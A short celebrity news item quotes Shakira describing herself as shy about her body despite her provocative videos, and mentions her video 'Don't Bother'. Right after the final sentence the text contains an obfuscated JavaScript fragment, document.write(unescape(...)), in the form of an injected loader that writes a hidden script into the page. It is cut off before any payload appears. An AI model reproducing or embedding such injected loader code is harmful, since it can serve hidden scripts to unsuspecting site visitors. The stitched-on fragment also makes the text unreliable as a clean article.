Shakira confesses she's 'shy' about showing off her body in pop videos.
The Columbian pop star told the New York Times that she abides by her mother's wishes to show only her belly button.
Shakira, 28, said: "My videos represent the artist in me very well, but not the kind of woman I am.
"When they watch my videos, people might think that I'm very sexually aggressive person, but I am completely the opposite. I'm very shy of my body.
"The most I can show is my belly. I admire people who can do nudes for the love of art. I can't. And I wear enough to cover what my mother wishes I cover."
Shakira's latest video, Don't Bother, features a flashback of lovemaking in the shower and shows her taking vengence on a former lover by having his car crushed.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
